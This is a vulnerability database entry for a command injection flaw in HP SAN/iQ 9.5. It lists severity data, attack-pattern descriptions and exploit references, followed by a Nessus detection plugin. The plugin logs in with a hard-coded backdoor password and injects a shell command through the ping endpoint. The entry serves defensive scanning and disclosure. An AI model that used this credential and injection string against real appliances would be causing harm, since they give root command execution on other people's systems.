Vulnerabilities > CVE-2012-2986 - OS Command Injection vulnerability in HP San/Iq 9.5

047910
CVSS 7.7 - HIGH
Attack vector
ADJACENT_NETWORK
Attack complexity
LOW
Privileges required
SINGLE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
low complexity
hp
CWE-78
nessus
exploit available

Summary

lhn/public/network/ping in HP SAN/iQ 9.5 on the HP Virtual SAN Appliance allows remote authenticated users to execute arbitrary commands via shell metacharacters in the (1) first, (2) third, or (3) fourth parameter. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-4361.

Vulnerable Configurations

Part Description Count
Application
Hp
1
Hardware
Hp
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
  • Argument Injection
    An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
  • OS Command Injection
    In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

Exploit-Db

  • descriptionHP VSA Remote Command Execution Exploit. CVE-2012-2986,CVE-2012-4361,CVE-2012-4362. Remote exploit for hardware platform
    fileexploits/hardware/remote/18893.py
    idEDB-ID:18893
    last seen2016-02-02
    modified2012-02-17
    platformhardware
    port
    published2012-02-17
    reporterNicolas Gregoire
    sourcehttps://www.exploit-db.com/download/18893/
    titleHP VSA Remote Command Execution Exploit
    typeremote
  • descriptionHP StorageWorks P4000 Virtual SAN Appliance Command Execution. CVE-2012-2986,CVE-2012-4361,CVE-2012-4362. Remote exploit for hardware platform
    fileexploits/hardware/remote/18901.rb
    idEDB-ID:18901
    last seen2016-02-02
    modified2012-05-21
    platformhardware
    port
    published2012-05-21
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/18901/
    titleHP StorageWorks P4000 Virtual SAN Appliance Command Execution
    typeremote

Nessus

NASL familyGain a shell remotely
NASL idHP_SANIQ_HYDRA_CMD_INJECTION2.NASL
descriptionThe version of SAN/iQ running on the remote host has a command injection vulnerability. The hydra service, used for remote management and configuration, does not properly sanitize untrusted input. A remote attacker could exploit this to execute arbitrary commands as root. Authentication is required, but can be bypassed easily by using default, hard-coded credentials.
last seen2020-06-01
modified2020-06-02
plugin id61612
published2012-08-21
reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/61612
titleHP SAN/iQ <= 10.0 Root Shell Command Injection
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(61612);
  script_version("1.16");
  script_cvs_date("Date: 2019/12/04");

  script_cve_id("CVE-2012-2986");
  script_bugtraq_id(55133);
  script_xref(name:"TRA", value:"TRA-2011-12");
  script_xref(name:"CERT", value:"441363");

  script_name(english:"HP SAN/iQ <= 10.0 Root Shell Command Injection");
  script_summary(english:"Attempts to inject a shell command");

  script_set_attribute(attribute:"synopsis", value:
"A management service on the remote host has a command injection
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of SAN/iQ running on the remote host has a command
injection vulnerability. The hydra service, used for remote management
and configuration, does not properly sanitize untrusted input. A
remote attacker could exploit this to execute arbitrary commands as
root. Authentication is required, but can be bypassed easily by using
default, hard-coded credentials.");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2011-12");
  script_set_attribute(attribute:"solution", value:
"There is no known solution at this time.");
  script_set_cvss_base_vector("CVSS2#AV:A/AC:L/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-2986");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'HP StorageWorks P4000 Virtual SAN Appliance Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/08/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/08/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:hp:san/iq");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Gain a shell remotely");

  script_copyright(english:"This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("hp_saniq_hydra_detect.nbin");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/hydra_saniq", 13838);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("byte_func.inc");
include("hp_saniq_hydra.inc");
include("data_protection.inc");

port = get_service(svc:"hydra_saniq", default:13838, exit_on_fail:TRUE);

# the exploit requires logging in with a hard-coded password
if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

soc = open_sock_tcp(port);
if (!soc) audit(AUDIT_SOCK_FAIL, port);

# try logging in with backdoor login account
login_res = hp_hydra_login(socket:soc,
                           port:port,
                           username:'global$agent',
                           password:'L0CAlu53R',
                           version:"10.0.0",
                           exit_on_fail:TRUE);

# the host is running a newer version and is not affected
if (login_res == HP_HYDRA_LOGIN_CLIENT_TOO_OLD)
{
  close(soc);
  audit(AUDIT_LISTEN_NOT_VULN, "HP SanIQ Hydra Service", port);
}

# device may be affected, but our backdoor login failed,
# so we can't attempt to exploit it
if (login_res != HP_HYDRA_LOGIN_OK)
{
  close(soc);
  exit(0, 'Unable to login to HP SanIQ Hyrda Service on port ' + port + ' using default credentials.');
}

cmd = 'id';
ping_cmd = 'get:/lhn/public/network/ping/127.0.0.1/127.0.0.1/64/1|' + cmd + ' #/';

res = hp_hydra_run_command(socket:soc, port:port, cmd:ping_cmd, exit_on_fail:TRUE);

close(soc);

if (!egrep(string:res, pattern:'uid=[0-9]+.*gid=[0-9]+.*'))
  audit(AUDIT_HOST_NOT, 'affected');

if (report_verbosity > 0)
{
  res -= 'OK:';
  report = '\nNessus executed the "' + cmd + '" command, which returned :\n\n' + data_protection::sanitize_uid(output:chomp(res)) + '\n';
  security_hole(port:port, extra:report);
}
else security_hole(port);